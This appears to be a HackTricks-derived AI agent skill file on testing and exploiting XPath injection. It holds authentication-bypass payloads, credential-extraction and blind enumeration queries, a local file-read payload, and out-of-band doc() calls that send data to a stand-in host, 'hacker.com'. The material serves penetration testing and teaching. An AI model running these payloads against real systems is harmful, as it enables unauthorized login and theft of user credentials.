Hacktricks-skills xpath-injection
How to test for and exploit XPath injection vulnerabilities in web applications. Use this skill whenever the user mentions XPath injection, XML query vulnerabilities, authentication bypass via XPath, blind XPath attacks, OOB XPath exploitation, or needs to enumerate XML schemas through XPath. Trigger this skill for any security testing involving XML-based authentication, login forms with XML backends, or when analyzing applications that construct XPath queries from user input.
install
source · Clone the upstream repo
git clone https://github.com/abelrguezr/hacktricks-skills
manifest:
skills/pentesting-web/xpath-injection/SKILL.MDsource content
XPath Injection Testing
A skill for identifying and exploiting XPath injection vulnerabilities in web applications that construct XPath queries from user input.
When to Use This Skill
Use this skill when:
- Testing login/authentication forms that may use XML backends
- Analyzing applications that process XML data with user input
- Enumerating XML document structures through injection points
- Performing blind XPath exploitation
- Conducting OOB (Out-of-Band) XPath attacks
- Bypassing authentication via XPath injection
XPath Syntax Reference
Node Selection
| Expression | Description |
|---|---|
| Selects all nodes with the specified name |
| Selection from the root node |
| Selects nodes matching from current node, anywhere in document |
| Selects the current node |
| Selects the parent of the current node |
| Selects attributes |
Common Path Expressions
/bookstore # Root element bookstore bookstore/book # All book children of bookstore //book # All book elements anywhere bookstore//book # All book descendants of bookstore //@lang # All lang attributes
Predicates for Filtering
/bookstore/book[1] # First book element /bookstore/book[last()] # Last book element /bookstore/book[last()-1] # Penultimate book element /bookstore/book[position()<3] # First two book elements //title[@lang='en'] # Title elements with lang="en" /bookstore/book[price>35.00] # Books with price > 35.00
Wildcards
* # Matches any element node @* # Matches any attribute node node() # Matches any node of any kind
Authentication Bypass Techniques
Basic OR Bypass
Use these payloads in username and/or password fields:
' or '1'='1 " or "1"="1 ' or ''=' " or ""="
Double OR Bypass (Single Vulnerable Field)
When only one field is vulnerable, use double OR:
' or /* or ' ' or "a" or ' ' or 1 or ' ' or true() or '
Selective Account Selection
'or string-length(name(.))<10 or' # Account with name length < 10 'or contains(name,'adm') or' # First account with "adm" in name 'or position()=2 or' # Select 2nd account
Known Username Bypass
admin' or ' admin' or '1'='2
Null Byte Injection
Username: ' or 1]%00
String Extraction Payloads
Extract All Values
') or 1=1 or (' # Get all names ') or 1=1] | //user/password[('')=(' # Get all names and passwords ') or 2=1] | //user/node()[('')=(' # Get all values ')] | //./node()[('')=(' # Get all values ')] | //node()[('')=(' # Get all values
Extract Specific Fields
')] | //user/*[1] | a[(' # ID of all users ')] | //user/*[2] | a[(' # Name of all users ')] | //user/*[3] | a[(' # Password of all users ')] | //user/*[4] | a[(' # Account of all users
Null Byte Abuse
')] | //password%00 # All names and passwords
Blind XPath Exploitation
Length Testing
' or string-length(//user[position()=1]/child::node()[position()=1])=4 or ''='
Character Extraction
' or substring((//user[position()=1]/child::node()[position()=1]),1,1)="a" or ''='
Codepoint Comparison
substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)
Error-Based Detection
... and ( if ( $employee/role = 2 ) then error() else 0 )...
Schema Discovery
Count-Based Enumeration
and count(/*) = 1 # Root element count and count(/*[1]/*) = 2 # Count children of root and count(/*[1]/*[1]/*) = 1 # Count grandchildren
Tag Name Discovery
and name(/*[1]) = "root" # Confirm root tag name and substring(name(/*[1]/*[1]),1,1) = "a" # First char of tag name and string-to-codepoints(substring(name(/*[1]/*[1]/*),1,1)) = 105 # Codepoint check
OOB (Out-of-Band) Exploitation
Data Exfiltration via doc()
# Basic OOB doc(concat("http://hacker.com/oob/", RESULTS)) # Extract specific data doc(concat("http://hacker.com/oob/", /Employees/Employee[1]/username)) # URL-encoded data doc(concat("http://hacker.com/oob/", encode-for-uri(/Employees/Employee[1]/username))) # Using doc-available() (returns true/false) doc-available(concat("http://hacker.com/oob/", RESULTS)) # Invert result user not(doc-available(...))
Schema Exfiltration OOB
doc(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1]))) doc-available(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
File Reading
(substring((doc('file://protected/secret.xml')/*[1]/*[1]/text()[1]),3,1))) < 127
Automated Tools
| Tool | Description | Link |
|---|---|---|
| xcat | XPath injection testing tool | https://xcat.readthedocs.io/ |
| xxxpwn | XPath injection exploitation | https://github.com/feakk/xxxpwn |
| xxxpwn_smart | Enhanced xxxpwn | https://github.com/aayla-secura/xxxpwn_smart |
| xpath-blind-explorer | Blind XPath enumeration | https://github.com/micsoftvn/xpath-blind-explorer |
| XmlChor | XML injection tool | https://github.com/Harshal35/XMLCHOR |
Testing Workflow
- Identify injection points - Look for login forms, search fields, or any input that might be used in XPath queries
- Test for vulnerability - Use basic OR bypass payloads like
' or '1'='1 - Determine output type - Is it reflected in response, error messages, or behavior change?
- Choose exploitation method:
- Reflected output: Use string extraction payloads
- Blind: Use length/character comparison or error-based
- OOB capable: Use doc() or doc-available() functions
- Enumerate schema - Use count() and name() functions to map XML structure
- Extract data - Use appropriate payloads based on output type
Example XML Structure
<?xml version="1.0" encoding="ISO-8859-1"?> <data> <user> <name>pepe</name> <password>peponcio</password> <account>admin</account> </user> <user> <name>mark</name> <password>m12345</password> <account>regular</account> </user> </data>
Common Query Patterns
Authentication Query (Vulnerable)
string(//user[name/text()='+VAR_USER+' and password/text()='+VAR_PASSWD+']/account/text())
PHP Example (Vulnerable)
$q = '/usuarios/usuario[cuenta="' . $_POST['user'] . '" and passwd="' . $_POST['passwd'] . '"]';